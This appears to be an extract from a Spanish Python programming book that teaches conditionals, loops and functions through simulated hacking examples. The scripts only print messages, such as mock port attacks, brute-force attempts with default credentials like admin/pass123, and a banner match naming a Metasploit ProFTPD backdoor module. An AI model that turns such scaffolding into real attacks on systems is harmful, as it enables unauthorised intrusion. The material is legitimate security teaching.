En Python, estas decisiones se expresan usando if, else y elif. Son parte fundamental del lenguaje, y
probablemente las vas a usar más veces de las que te imaginas.

if: La instrucción if (si…) sirve para verificar si una condición se cumple. Si la condición es verdadera…
Python ejecuta el bloque de código que viene después. Y sí… siempre termina con dos puntos : porque así
le indicamos a Python que lo que viene a continuación es el bloque que debe evaluar.

else: La instrucción else (de lo contrario…) acompaña al if cuando queremos manejar el caso opuesto. Es
decir… si la condición del if no se cumple, el código que está dentro del else será el que se ejecute. Y al igual
que if, también lleva el símbolo : al final.

Si pensamos en estas estructuras dentro del contexto StarHacks… funcionan un poco como esos momentos
donde decides qué camino tomar dependiendo de lo que está ocurriendo. Si hay conexión… haces una
cosa… si no, haces otra… como una toma de decisiones en miniatura dentro del programa.

Listo para que sigamos con elif o con el ejemplo cuando tú quieras.

if expresion:
tarea_a_realizar()
else:
tarea_a_realizar()

Para entender mejor cómo funcionan las condiciones en Python… imaginemos que estamos construyendo
un pequeño escáner de vulnerabilidades. La lógica es simple… el escáner se conecta a un puerto específico
y recibe un banner del servidor. Ese banner es como una tarjeta de presentación: nos dice qué servicio está
corriendo y... a veces, hasta la versión.

51
Ahora… si el banner que recibimos coincide con uno que tenemos guardado en nuestra base de datos, uno
marcado como vulnerable... entonces el programa escribirá en pantalla que ese puerto es vulnerable... Así
de directo.

Este tipo de comparación es muy común en seguridad informática… revisar, contrastar, validar… y tomar una
decisión a partir de esa información. Y ahí es donde entran if, elif y else: son los encargados de mover la
lógica, de decidir qué camino toma el programa… como un mini motor de decisiones dentro del script.

In [139]:
response = [21,"FTP","ProFTPD 1.3.1",True]

In [140]:
if "ProFTPD 1.3.3" in response[2]:
print("[*] Vulnerable ! ")
else:
print("[*] NO Vulnerable ! ")

[*] NO Vulnerable !

Ahora hagamos que el banner coincida para que nos diga la estructura de control que es vulnerable.

In [141]:
if "ProFTPD 1.3.1" in response[2]:
print("[*] Vulnerable ! ")
else:
print("[*] NO Vulnerable ! ")

[*] Vulnerable !

En caso de hacer un poco más completo, este ejercicio quedaría de la siguiente manera.

In [142]:
response = [21,"FTP","ProFTPD 1.3.1",True]
if response[3]:
if response[2] == "ProFTPD 1.3.1":
print("*"*60)
print("[-] The Service " + response[1] + " is Vulnerable!")
print("[-] Name: ProFTPD-1.3.3c Backdoor Command Execution")
print("[-] Exploit: exploit/unix/ftp/proftpd_133c_backdoor")
print("[-] Disclosure date: 2010-12-02")
print("*"*60)
else:
print("[-] The service " + response[1] + " is NOt Vulnerable!")
else:
print("[-] The Port is Close! ")

************************************************************
[-] The Service FTP is Vulnerable!

52
[-] Name: ProFTPD-1.3.3c Backdoor Command Execution
[-] Exploit: exploit/unix/ftp/proftpd_133c_backdoor
[-] Disclosure date: 2010-12-02
************************************************************

Lo primero que hace el programa es verificar el resultado dentro de una lista… específicamente el índice en
la posición 3. Ese valor nos indica si hubo conexión con el servidor… True o False. Es decir… si el escáner
logró conectarse o no.

Si la respuesta es True… el programa realiza una segunda comparación. Para eso toma el índice 2 de la
misma lista y revisa si el banner entregado por el servicio es igual (==) a ProFTPD 1.3.1. Si coincide…
imprimimos en pantalla el servicio auditado y el exploit que se puede lanzar para tomar control de la
máquina… todo muy directo.

Si la segunda comparación no coincide (else)… significa que no encontramos el banner esperado, por lo
tanto no sabemos si existe un exploit aplicable.

Y si el primer resultado fue False… es decir, si en la posición 3 venía un False… significa que no hubo
conexión con el servidor, por lo que no podemos continuar con la auditoría.

Cada una de estas decisiones va guiando el flujo del programa… casi como una pequeña cadena lógica que
nos dice qué camino seguir según lo que vamos encontrando.

elif: La instrucción elif (de lo contrario si) es parecida al if, la diferencia que sirve para seguir haciendo
comparaciones y lleva al final de la operación el símbolo(:).

if comparacion1:
print ("se cumplió la condición 1")
elif comparacion2:
print ("se cumplió la condición 2")
elif comparacion3:
print ("se cumplió la condicion3")
else:
print ("no tuvimos éxito en la comparación")

53
Un ejemplo para el uso de elif podría ser el pasar a revisar un puerto en específico en un escaneo de
servicios y al detectar que este puerto está activo, preparar un ataque en específico:

In [143]:
target = "[Link]"
puerto = 3389
print("[->] Traget : " + target)
if puerto == 21:
print("[->] Attack to FTP...")
elif puerto == 22:
print("[->] Attack to SSH...")
elif puerto == 23:
print("[->] Attack to TELNET...")
elif puerto == 80:
print("[->] Attack to HTTP...")
elif puerto == 443:
print("[->] Attack to HTTPS...")
elif puerto == 3306:
print("[->] Attack to MYSQL...")
elif puerto == 3389:
print("[->] Attack to RDP...")
elif puerto == 5432:
print("[->] Attack to PostgreSQL...")
else:
print("[->] Services Not Found...")

[->] Traget : [Link]


[->] Attack to RDP...

El script visto anteriormente como ejemplo, muestra una comparación múltiple para verificar que servicio
pudiese estar corriendo en un servidor solo indicando el número del puerto abierto, como únicamente

54
coincidió con la opción puerto == 3389 sé desplegó el mensaje que estaba identado dentro que es [->]
Attack to RDP...

Como habrán notado en los ejemplos vistos hasta ahora, los códigos fuentes son bastante ordenados en
forma y espacios entre las instrucciones. Una cosa muy necesaria en Python para usar estructura de control,
es respetar la identación o estructura gramatical, es decir, el intérprete de Python necesita que
después de un if, te saltes cuatro espacios o uses TAB(tabulador), posterior a esto se debe escribir lo que
necesites que se ejecute si la condición es correcta.

En el ejercicio solo se ejecutó la instrucción que en este caso era Verdadera(True):

[->] Traget : [Link]


[->] Attack to RDP…

Indentación es un anglicismo (de la palabra inglesa indentation) de uso


común en informática; no es un término reconocido por la Real Academia
Española . La Real Academia recomienda utilizar «sangrado». Este
término significa mover un bloque de texto hacia la derecha insertando
espacios o tabuladores, para así separarlo del margen izquierdo y mejor
distinguirlo del texto adyacente; en el ámbito de la imprenta, este
El concepto siempre se ha denominado sangrado o sangría.

Para poder realizar otros tipos de tareas y complementar la instrucción if tenemos los siguientes Operadores:

Los operadores binarios:

55
Los Operadores de comparación o relacionales:

Cabe destacar que Python no tiene incluido dentro de su Core la función switch,
en su caso podemos reemplazar con la estructura de control elif.

Ejemplo:

In [144]:
print(""*60)
print("[-] Enter Attack Option :")
print("[-] 1 - Brute Force Attack :")
print("[-] 2 - Web Scanner :")
print("[-] 3 - Port Scanner :")
print(""*60)
num = int (input ("Enter Option: "))
if num == 1:
print("[->] Brute Force Attack -->...")
elif num == 2:
print("[->] Web Scanner -->...")
elif num == 3:
print("[->] Port Scanner -->...")
else:
print("[->] Option Not Found...")

[-] Enter Attack Option :


[-] 1 - Brute Force Attack :
[-] 2 - Web Scanner :
[-] 3 - Port Scanner :
[->] Brute Force Attack -->...

Si son buenos observadores, se dieron cuenta de que en el ejercicio anterior se utilizó la función input()

num = int (input ("Enter Option: "))

56
Esta función permite capturar texto introducido por teclado y lo transforma a un string o cadena de texto, por
lo que es necesario transformarlo a número si se está usando con esa intención para trabajarlo dentro del
script.

In [145]:
resultado = input ("Enter Option: ")
type(resultado)

Out[145]:
str
In [146]:
resultado = input ("Enter Option: ")
type(resultado)

Out[146]:
str
Como se puede observar si se ingresa números o se ingresa texto, en los dos casos el objeto será un str.

Bucle While
La palabra reservada while nos permite ejecutar una acción de forma repetitiva, hasta que se cumpla una
condición determinada. Es decir… Python seguirá ejecutando el bloque asociado al while siempre que la
condición sea True… o verdadera.

Cuando definimos un while en nuestro código, es importante recordar que las iteraciones continuarán
mientras la condición se mantenga activa… así que hay que tener cuidado de no crear un bucle infinito que
deje todo detenido.

Sintaxis:

57
In [147]:
incrementador = 1
rango = 10
while incrementador <= rango:
print("[->] Attacking Target 192.168.1." + str(incrementador))
incrementador = incrementador + 1

[->] Attacking Target [Link]


[->] Attacking Target [Link]
[->] Attacking Target [Link]
[->] Attacking Target [Link]
[->] Attacking Target [Link]
[->] Attacking Target [Link]
[->] Attacking Target [Link]
[->] Attacking Target [Link]
[->] Attacking Target [Link]
[->] Attacking Target [Link]

El ejemplo anterior tiene dos variables definidas:

●​ La primera variable es un incrementador y está definida como un número 1.


●​ La variable rango en el programa se define como numérica con el valor 10 y tiene que ver con el
límite de iteraciones.

La tercera línea se define la condición y se lee de la siguiente manera, mientras incrementador (valor 1) sea
menor (<) o igual (=) a rango (valor 10), repite lo que está dentro de la identación hasta que se cumpla la
condición y terminado por dos puntos (:) Procedemos a crear una identación de 4 espacios para marcar el
principio y el fin del ciclo while.

La cuarta línea se imprime en pantalla con cada iteración el mensaje variando solo la dirección IP. La cuarta
línea es muy importante, ya que se utiliza la variable incrementadora, que va sumando 1 con cada ciclo. Es
decir, la variable incrementadora vale 2 por qué se sumó incrementador que vale 1 + 1. El ciclo se repite
hasta que 10 <= 10.

El ejemplo anterior tiene dos variables definidas…

●​ La primera variable es un incrementador, y parte con el valor 1.


●​ La segunda variable, rango, se define como numérica con el valor 10… y representa el límite de
iteraciones.

La tercera línea del código establece la condición del ciclo. La lectura sería algo así: “mientras incrementador
(que parte en 1) sea menor o igual (<=) a rango (que vale 10), repite todo lo que está dentro de la
identación”. Y como siempre en Python… la línea termina con dos puntos : para indicar el inicio del bloque.

Después creamos una identación de 4 espacios, marcando el principio y el fin del ciclo while.

58
En la línea siguiente, el programa imprime un mensaje por pantalla en cada iteración… cambiando
únicamente la dirección IP. Esta parte es importante… porque usa la variable incrementadora para generar
ese cambio.

Luego, la variable incrementador se va actualizando con cada vuelta: primero vale 1… luego vale 2… luego
3… y así hasta llegar al punto donde la condición ya no se cumple. El ciclo termina exactamente en el
momento en que 10 <= 10 deja de ser verdadero.

Con esto podemos ver cómo funciona un bucle while… paso a paso… controlando cada iteración de manera
clara.

Acumulador: es una variable en el que son almacenados temporalmente los


resultados aritméticos

Una forma muy sencilla de entender un acumulador, es hacer el siguiente ejercicio en la Terminal.

In [148]:
acumulador = 1
print(acumulador)

In [149]:
acumulador = acumulador + 1
print(acumulador)

In [150]:
acumulador = acumulador + 1
print(acumulador)

Otra forma en la que podemos encontrar un acumulador es la siguiente:

In [151]:
acumulador += 1
print(acumulador)

Otra forma de usar un while podría ser recorriendo una lista.

In [152]:
ips = ['[Link]', '[Link]', '[Link]']
while ips:
print([Link]())

59
[Link]
[Link]
[Link]

El método pop() elimina y retorna un elemento de una lista.


si no se especifica ningún índice, [Link]() elimina y retorna el
último elemento de la lista.

In [153]:
print("elementos = "+ str(len(ips)))

elementos = 0
Comprobación que la lista llamada ips quedó vacía después de su recorrido con el loop usando pop(). Esta
forma se debe usar con precaución, ya que elimina los elementos de la lista.

Otro ejemplo donde se puede usar este loop es para contar intentos fallidos en un ataque de fuerza bruta.

In [154]:
intentos = 3
while intentos:
print("[!] Login Attempt Number " + str(intentos))
intentos -= 1

[!] Login Attempt Number 3


[!] Login Attempt Number 2
[!] Login Attempt Number 1

Bucle For
En Python, el bucle for tiene un enfoque distinto al que se ve en otros lenguajes más tradicionales. Aquí no
se limita solo a recorrer progresiones numéricas… sino que puede iterar sobre cualquier estructura iterable.
Eso incluye listas, tuplas, diccionarios, conjuntos… e incluso cadenas de texto.

El for toma cada elemento en orden… de izquierda a derecha… y ejecuta el bloque asociado tantas veces
como elementos existan. Uno no necesita manejar el índice de forma manual, a menos que quieras... porqué
Python se encarga de entregarte cada valor listo para usar. Es una forma ordenada, clara y muy natural de
recorrer datos.

60
Esta característica hace que el for sea una de las herramientas más útiles del lenguaje, especialmente
cuando estamos procesando colecciones completas, analizando resultados o leyendo información desde una
fuente externa.

En el siguiente ejemplo vamos a realizar un ejercicio para que nos quede más claro como lo podemos
utilizar.

Bucle en Tupla:

In [155]:
to_scraping = ("[Link]","[Link]","[Link]")
for host in to_scraping:
print("* Scraping Host " + host)

* Scraping Host [Link]


* Scraping Host [Link]
* Scraping Host [Link]

En la primera línea de código definimos una tupla con varios sitios Web. La segunda línea declaramos el
ciclo for, lo sigue la variable host donde guardamos lo que sacamos de la tupla de nombre to_scraping,
terminado por dos puntos (:).

El ciclo for va recorriendo una a una las posiciones de la tupla hasta que ya no encuentre nada(NULL), lo que
en programación se interpretaría como un espacio vacío, este elemento ordena al bucle a saltar de la
iteración con un break saliéndose del loop .

Bucle en una Lista:

In [156]:
to_scan = ["[Link]","[Link]","[Link]"]

61
for host in to_scan:
print("--> Scan Host " + host)

--> Scan Host [Link]


--> Scan Host [Link]
--> Scan Host [Link]

Como se puede apreciar en el código, la única diferencia es el uso de corchetes que diferencia una lista de
una tupla.

Otra forma de realizar bucles for es utilizando el método range() que provee Python.

En el código anterior el método range([start], stop[, step]) puede recibir 3


parámetros:
* start número de la secuencia.
* stop: Generar números hasta
* step: Diferencia entre cada número en la secuencia.

Ejemplo método range:

In [157]:
for i in range(5, 10, 1):
print("[+] scanning 192.168.1."+str(i))

[+] scanning [Link]


[+] scanning [Link]
[+] scanning [Link]
[+] scanning [Link]
[+] scanning [Link]

Se podría iterar cambiando el valor de step para ir de dos en dos.

In [158]:
for i in range(1, 11, 2):
print("[+] scanning 192.168.1."+str(i))

[+] scanning [Link]


[+] scanning [Link]
[+] scanning [Link]
[+] scanning [Link]
[+] scanning [Link]

También se puede realizar solo por el número hasta donde se debe llegar.

In [159]:
for i in range(10):
print("[+] scanning 192.168.1."+str(i))

[+] scanning [Link]

62
[+] scanning [Link]
[+] scanning [Link]
[+] scanning [Link]
[+] scanning [Link]
[+] scanning [Link]
[+] scanning [Link]
[+] scanning [Link]
[+] scanning [Link]
[+] scanning [Link]

Y finalmente un ejemplo en cuenta regresiva.

In [160]:
for i in range(10, 0, -1):
print("[+] scanning 192.168.1."+str(i))

[+] scanning [Link]


[+] scanning [Link]
[+] scanning [Link]
[+] scanning [Link]
[+] scanning [Link]
[+] scanning [Link]
[+] scanning [Link]
[+] scanning [Link]
[+] scanning [Link]
[+] scanning [Link]

Hagamos un ejemplo un poco más avanzado donde tengamos que simular el buscar palabras claves dentro
de twitter:

In [161]:
tweets = [
"Just installed a new firewall to enhance network security. #CyberSecurity",
"Planning a weekend getaway. #TravelPlans",
"Be aware of phishing emails pretending to be from your bank. Always verify the
source. #Phishing",
"Updated our antivirus software to protect against the latest malware threats.",
"Data breach reported at XXXX. Change your passwords immediately if you're a
customer.",
"Received a security alert from my monitoring system about unusual login
activity.",
"Implementing two-factor authentication (2FA) across all platforms for added
security.",
"Cybersecurity is everyone's responsibility. Stay vigilant and report any
suspicious activity.",
"Just had a great lunch with friends. #EnjoyLife",
"Excited about the upcoming movie release! #MovieBuff"
]

Definimos las palabras claves a buscar dentro de los mensajes

In [162]:

63
palabras_clave = ['security', 'phishing', 'malware', 'breach', 'authentication']

Buscamos los tweets que contengan las palabras claves por medio de iteraciones y convertimos a
minúsculas los resultados con lower() para búsquedas sensible a mayúsculas y tener mejores resultados:

In [163]:
for i, tweet in enumerate(tweets):
for palabra in palabras_clave:
if palabra in [Link]():
print("Palabra clave " + palabra + " encontrada en el tweet " + str(i + 1))
print(tweet)

Palabra clave security encontrada en el tweet 1


Just installed a new firewall to enhance network security. #CyberSecurity
Palabra clave phishing encontrada en el tweet 3
Be aware of phishing emails pretending to be from your bank. Always verify the source.
#Phishing
Palabra clave malware encontrada en el tweet 4
Updated our antivirus software to protect against the latest malware threats.
Palabra clave breach encontrada en el tweet 5
Data breach reported at XXXX. Change your passwords immediately if you're a customer.
Palabra clave security encontrada en el tweet 6
Received a security alert from my monitoring system about unusual login activity.
Palabra clave security encontrada en el tweet 7
Implementing two-factor authentication (2FA) across all platforms for added security.
Palabra clave authentication encontrada en el tweet 7
Implementing two-factor authentication (2FA) across all platforms for added security.
Palabra clave security encontrada en el tweet 8
Cybersecurity is everyone's responsibility. Stay vigilant and report any suspicious
activity.

Funciones en Python
Las funciones existen para hacernos la vida más fácil… o al menos para evitar que repitamos código como
locos. Cuando programamos, es muy común caer en la tentación de copiar y pegar instrucciones… una y
otra vez… hasta que el algoritmo termina convertido en un laberinto imposible de mantener. Antes se
programaba así… de manera muy estructurada… repitiendo bloques completos a medida que el programa
avanzaba. Era efectivo… pero agotador.

Hoy, en cambio, podemos agrupar un conjunto de instrucciones dentro de una función… y reutilizar ese
mismo bloque cada vez que lo necesitemos. En palabras simples… una función es un pequeño trozo de
programa que realiza una tarea específica… siempre igual… cada vez que lo llamamos. Es como tener un
droide asignado a una misión, lo llamas… hace su trabajo… y sigue su camino. O como ese amigo que sabe

64
exactamente qué tecla presionar en el notebook cuando algo falla… aunque en algunos casos ese amigo
termina siendo el gato… y ahí ya no hay garantía de nada.

En Python, las funciones se declaran con la palabra reservada def. Con esto, le decimos al intérprete que
estamos definiendo una función. Luego viene el nombre de la función, que idealmente debería describir lo
que hace… para que otro humano, o tú mismo dentro de tres semanas, entienda sin sufrir.

La línea termina con dos puntos :y, como siempre en Python, usamos una identación de 4 espacios para
marcar el bloque de código que pertenece a esa función.

Así vamos construyendo piezas de programa más ordenadas… más limpias… y mucho más fáciles de
mantener… algo que, créeme, se agradece bastante cuando el proyecto crece y la Fuerza ya no alcanza
para recordar todo lo que escribiste.

Ejemplo:

In [164]:
def mostrar_banner():
msj ="""
__ .__ __
_______/ |______ _______| |__ _____ ____ | | __ ______
/ ___/\ __\__ \\_ __ \ | \\__ \ _/ ___\| |/ / / ___/
\___ \ | | / __ \| | \/ Y \/ __ \\ \___| < \___ \
/____ > |__| (____ /__| |___| (____ /\___ >__|_ \/____ >
\/ \/ \/ \/ \/ \/ \/
version :1.0
"""
print(msj)

Ahora para llamar a la función solo debemos llamarla y podremos ejecutar su resultado:

In [165]:
mostrar_banner()

65
__ .__ __
_______/ |______ _______| |__ _____ ____ | | __ ______
/ ___/\ __\__ \_ __ \ | \__ \ _/ ___\| |/ / / ___/
\___ \ | | / __ \| | \/ Y \/ __ \ \___| < \___ /____ > |__| (____
/__| |___| (____ /\___ >__|_ \/____ >
\/ \/ \/ \/ \/ \/ \/
version :1.0

Como se aprecia en el resultado, no sucedió nada al cargar la función en el intérprete, solo se inició la rutina
una vez que cargamos este pequeño trozo de programa y la llamamos mostrar_banner() , es decir, si
queremos que se ejecute nuestra función la tenemos que llamarla por su nombre.

Para llamar a una función, se debe escribir el nombre sin la palabra


def y sin los dos puntos (:). La función la podemos llamar cuantas
veces queramos y siempre va a realizar la misma tarea.

In [166]:
mostrar_banner()
mostrar_banner()

__ .__ __
_______/ |______ _______| |__ _____ ____ | | __ ______
/ ___/\ __\__ \_ __ \ | \__ \ _/ ___\| |/ / / ___/
\___ \ | | / __ \| | \/ Y \/ __ \ \___| < \___ /____ > |__| (____
/__| |___| (____ /\___ >__|_ \/____ >
\/ \/ \/ \/ \/ \/ \/
version :1.0

__ .__ __
_______/ |______ _______| |__ _____ ____ | | __ ______
/ ___/\ __\__ \_ __ \ | \__ \ _/ ___\| |/ / / ___/
\___ \ | | / __ \| | \/ Y \/ __ \ \___| < \___ /____ > |__| (____
/__| |___| (____ /\___ >__|_ \/____ >
\/ \/ \/ \/ \/ \/ \/
version :1.0

Ahora, como comprenderán, tener funciones en nuestros programas o scripts es muy útil.. sobre todo cuando
queremos realizar una tarea repetitiva sin tener que estar escribiendo código a cada momento.

Cabe señalar, que estas funciones, que no tienen la palabra reservada return se les llama funciones void o
vacías, son una forma muy básica de ordenar un código fuente y su resultado, no retorna ninguna variable o
valor al software para su posterior funcionamiento. Si tomamos en cuenta lo mencionado anteriormente, esta

66
forma de función podría limitar nuestros programas, si es que elegimos cerrarlos a que hagan una tarea
específica sin tener ninguna variante que haga cambiar sus resultados, su elección dependerá de la
complejidad de la tarea y de la división de algoritmos para su posterior mantenimiento.

Funciones con Retorno


Las funciones con retorno son útiles cuando necesitamos enviar de vuelta un resultado al programa
principal… para seguir trabajándolo después. Es decir… la función procesa algo internamente… y luego
devuelve un valor que podemos guardar, imprimir o utilizar en otra parte del código.

Para esto usamos la palabra reservada return…. que le indica a Python exactamente qué debe entregar al
finalizar la función. Sin return, la función ejecuta sus tareas… pero no envía nada de vuelta. Con return, en
cambio, obtenemos un resultado claro… directo… y listo para seguir el flujo del programa.

Es una forma ordenada de separar tareas… y de mantener el código más limpio, especialmente cuando
estamos construyendo scripts que deben tomar decisiones basadas en los valores que obtienen de otras
funciones.

In [167]:
def puertos():
port = [21,22,23,80,443,8080,3306]
return port

In [168]:
target = "[Link]"
ports = puertos()
for p in ports:
print("[*] Attack to " + target + " Port "+ str(p))

[*] Attack to [Link] Port 21


[*] Attack to [Link] Port 22
[*] Attack to [Link] Port 23
[*] Attack to [Link] Port 80
[*] Attack to [Link] Port 443
[*] Attack to [Link] Port 8080
[*] Attack to [Link] Port 3306

El código fuente anterior nos muestra:

La función declarada guarda en un conjunto de puertos a atacar en la variable local port, luego se retorna
un objeto tipo list desde la función. Esto quiere decir que cada vez que llamemos a la función puertos, esta
nos va a devolver una lista de puertos por defecto que preparemos.... Luego se recorre la lista con un ciclo
for y se escribe por pantalla el puerto que se está atacando.

67
Si ponemos un poquito de dificultad al ejemplo anterior, podemos agregar una función más para completar el
ejemplo. La función getbanner(ip, port) toma dos valores de entrada( host y puerto) y se dedique a
rescatar el banner del servicio antes de atacar un host específico.

In [169]:
def getbanner(ip, port):
print("--> Get banner on " + ip + ":" + str(port))

target = "[Link]"
ports = puertos()
for p in ports:
print("-"*60)
getbanner(target, p)
print("[*] Attack to " + target + " Port "+ str(p))
print("-"*60)

------------------------------------------------------------
--> Get banner on [Link]:21
[*] Attack to [Link] Port 21
------------------------------------------------------------
------------------------------------------------------------
--> Get banner on [Link]:22
[*] Attack to [Link] Port 22
------------------------------------------------------------
------------------------------------------------------------
--> Get banner on [Link]:23
[*] Attack to [Link] Port 23
------------------------------------------------------------
------------------------------------------------------------
--> Get banner on [Link]:80
[*] Attack to [Link] Port 80
------------------------------------------------------------
------------------------------------------------------------
--> Get banner on [Link]:443
[*] Attack to [Link] Port 443
------------------------------------------------------------
------------------------------------------------------------
--> Get banner on [Link]:8080
[*] Attack to [Link] Port 8080
------------------------------------------------------------
------------------------------------------------------------
--> Get banner on [Link]:3306
[*] Attack to [Link] Port 3306
------------------------------------------------------------

Obviamente, este es solo un ejemplo y no rescata banner ni ataca a un


host, pero sirve para hacerse una idea de los pasos a seguir y él
orden en que se debe formular un script de hacking.

68
Funciones con Parámetros
Hasta ahora puede que las funciones todavía no les parezcan tan útiles… y quizá prefieran escribir todo de
forma lineal, siguiendo el flujo del programa como si fuera una carretera sin desvíos. Pero aquí es donde la
cosa se empieza a poner interesante…

Las funciones con parámetros nos permiten ejecutar tareas de forma dinámica. Los parámetros son valores
que la función necesita para poder operar. A mí me gusta imaginarlas como una receta que siempre es la
misma… pero con ingredientes que pueden ir cambiando según la ocasión.

La estructura sigue siendo la misma que ya vimos… solo que esta vez, dentro de los paréntesis, indicamos
los valores necesarios para que la función haga su trabajo. Eso le da flexibilidad… personalización… y nos
ayuda a evitar repetir código innecesariamente.

Ejemplo:

In [170]:
def attack_login_http_by_get(ips,ports):
for target in ips:
for p in ports:
print("-"*70)
print("[->] Attack on " + target + ":" + str(p) )
print("[->] [Link] + target + ":" +
str(p)+"/[Link]?user=admin&password=password" )
print("-"*70)

In [171]:
hosts = ["[Link]","[Link]"]
ports =[80,8080,8081]
attack_login_http_by_get(hosts,ports)

----------------------------------------------------------------------
[->] Attack on [Link]:80
[->] [Link]
----------------------------------------------------------------------
----------------------------------------------------------------------
[->] Attack on [Link]:8080
[->] [Link]
----------------------------------------------------------------------
----------------------------------------------------------------------
[->] Attack on [Link]:8081
[->] [Link]
----------------------------------------------------------------------
----------------------------------------------------------------------
[->] Attack on [Link]:80
[->] [Link]
----------------------------------------------------------------------
----------------------------------------------------------------------

69
[->] Attack on [Link]:8080
[->] [Link]
----------------------------------------------------------------------
----------------------------------------------------------------------
[->] Attack on [Link]:8081
[->] [Link]
----------------------------------------------------------------------

En el ejemplo se define una función que supuestamente ataca a un servidor… iterando por varios servicios.
La función necesita dos argumentos o variables, para realizar su tarea… aunque perfectamente podríamos
agregar más parámetros si el escenario lo requiere.

La idea es sencilla, la función representa la acción… y los argumentos le dicen dónde y cómo debe actuar.
Es como configurar una herramienta antes de usarla… eliges el objetivo… eliges el servicio… y la función
hace el resto cada vez que la llamas.

Con esto, el código se vuelve más fácil de mantener… más ordenado… y mucho más flexible, especialmente
cuando estamos escribiendo scripts que interactúan con varios servicios o que deben adaptarse a distintos
entornos sin reescribir todo desde cero.

Ahora vamos a realizar otro ejemplo… uno que, en teoría, decide qué ataque ejecutar dependiendo del
servicio que esté corriendo en el servidor víctima. Para esto vamos a usar dos funciones, lo que le da un
poco más de complejidad al script y nos permite ver cómo varias piezas del código pueden trabajar juntas.

La idea es simple, definimos las funciones… y luego las llamamos cuando las necesitemos, según el
resultado de la verificación del servicio.

Ejemplo:

In [172]:
def attackFTP(ip,port):
print("[+] Attack FTP on " + ip + ":"+ str(port))
print("-" * 60)
def attackSSH(ip,port):
print("[+] Attack SSH on " + ip + ":"+ str(port))
print("-" * 60)

victimas = ["[Link]", "[Link]"]


puertos = [21,22,80,443]

for host in victimas:


for p in puertos:
if p == 21:
print("[-] Target IP " + host +"...")
attackFTP(host,p)

70
elif p == 22:
print("[-] Target IP " + host + "...")
attackSSH(host,p)
else:
print("[!] script Coming Soon... " + str(p))
print("-" * 60)

[-] Target IP [Link]...


[+] Attack FTP on [Link]:21
------------------------------------------------------------
[-] Target IP [Link]...
[+] Attack SSH on [Link]:22
------------------------------------------------------------
[!] script Coming Soon... 80
------------------------------------------------------------
[!] script Coming Soon... 443
------------------------------------------------------------
[-] Target IP [Link]...
[+] Attack FTP on [Link]:21
------------------------------------------------------------
[-] Target IP [Link]...
[+] Attack SSH on [Link]:22
------------------------------------------------------------
[!] script Coming Soon... 80
------------------------------------------------------------
[!] script Coming Soon... 443
------------------------------------------------------------

Ahora, si necesitamos hacer un script un nivel un poco más complejo y nos imaginamos que tenemos una
lista para hacer un ataque de fuerza bruta, quedaría de la siguiente forma.

In [173]:
def dicct_user():
return ["admin","root"]
def attackFTP(ip,port):
print("[+] Attack FTP on " + ip + ":"+ str(port))
for usr in dicct_user():
print("[+] connecting FTP " + ip + ":"+ str(port) + " User:" + usr +
"&passwd:pass123")
print("-" * 60)
def attackSSH(ip,port):
print("[+] Attack SSH on " + ip + ":"+ str(port))
for usr in dicct_user():
print("[+] connecting SSH " + ip + ":"+ str(port) + " User:" + usr +
"&passwd:pass123")
print("-" * 60)
victimas = ["[Link]", "[Link]"]
puertos = [21,22,80,443]

71
for host in victimas:
for p in puertos:
if p == 21:
print("[-] Target IP " + host +"...")
attackFTP(host,p)
elif p == 22:
print("[-] Target IP " + host + "...")
attackSSH(host,p)
else:
print("[!] script Coming Soon... " + str(p))
print("-" * 60)

[-] Target IP [Link]...


[+] Attack FTP on [Link]:21
[+] connecting FTP [Link]:21 User:admin&passwd:pass123
[+] connecting FTP [Link]:21 User:root&passwd:pass123
------------------------------------------------------------
[-] Target IP [Link]...
[+] Attack SSH on [Link]:22
[+] connecting SSH [Link]:22 User:admin&passwd:pass123
[+] connecting SSH [Link]:22 User:root&passwd:pass123
------------------------------------------------------------
[!] script Coming Soon... 80
------------------------------------------------------------
[!] script Coming Soon... 443
------------------------------------------------------------
[-] Target IP [Link]...
[+] Attack FTP on [Link]:21
[+] connecting FTP [Link]:21 User:admin&passwd:pass123
[+] connecting FTP [Link]:21 User:root&passwd:pass123
------------------------------------------------------------
[-] Target IP [Link]...
[+] Attack SSH on [Link]:22
[+] connecting SSH [Link]:22 User:admin&passwd:pass123
[+] connecting SSH [Link]:22 User:root&passwd:pass123
------------------------------------------------------------
[!] script Coming Soon... 80
------------------------------------------------------------
[!] script Coming Soon... 443
------------------------------------------------------------

Funciones con Parámetros por Omisión


Muchas veces, cuando estamos programando… puede que se nos olvide pasar un parámetro a una
función… o simplemente queremos compartir nuestro código con alguien más y dejar ciertos valores
predeterminados para que todo funcione sin problemas. Para estos casos, y varios más.... existen los
parámetros por omisión.

72
La idea es sencilla, si la función no recibe un valor para ese parámetro, Python usa el que está definido por
defecto. Es como dejar un plan base… algo que garantice que la función siga funcionando aunque el usuario
del código no entregue toda la información.

Esto ayuda bastante a que nuestro código sea más seguro… más predecible… y más fácil de mantener. Y
en un entorno como el de StarHacks, donde a veces estamos probando cosas rápido en el Notebook… tener
valores por defecto evita más de alguna sorpresa.

Ejemplo:

In [174]:
def enable_server(ip ="[Link]", port= 8080):
print("[*] The C&C server was exposed on the [Link] + ip + ":" + str(port))

Forma sin parámetros inicializados:

In [175]:
enable_server()

[*] The C&C server was exposed on the [Link]

Forma con parámetros inicializados:

In [176]:
enable_server("[Link]",8088)

[*] The C&C server was exposed on the [Link]

Como podemos apreciar en el ejercicio anterior y su resultado, en el primer ejemplo, al ejecutar la función sin
ningún parámetro, se imprimió el valor por defecto [*] The C&C server was exposed on the
[Link] La segunda vez que ejecutamos la función y le asignamos un valor al
parámetro, ejecutó lo que le indicamos en el resultado [*] The C&C server was exposed on the
[Link]

Función Lambda
Una función lambda es simplemente una manera de definir una función anónima en Python. Es decir…
funciones que no necesitan un nombre formal. Son útiles cuando queremos crear pequeñas operaciones de
una sola línea… y usar una función completa sería demasiado para el contexto. Algo así como resolver un
detalle rápido sin armar toda una estructura.

73
La forma general es:

lambda parámetros:expresión

Son expresiones compactas… precisas… y muy útiles cuando necesitamos pasar funciones como
argumentos, o cuando estamos filtrando, ordenando o evaluando datos al vuelo.

Ejemplo:

In [177]:
# función normal
def printTitle(t):
print("<h1>"+t+"</h1>")

printTitle(" Hacking !")

<h1> Hacking !</h1>

In [178]:
printTitle = lambda t:"<h1>"+t+"</h1>"
printTitle(" Hacking !")

Out[178]:
'<h1> Hacking !</h1>'

Otro ejemplo, para demostrar la función lambda... podría ser una función anónima para ordenar puertos.

In [179]:
port = [443,80,80,21,3306,8081,81,21, 22, 23, 80]
order_port = lambda x : [Link]()
order_port(port)

In [180]:
port

Out[180]:
[21, 21, 22, 23, 80, 80, 80, 81, 443, 3306, 8081]
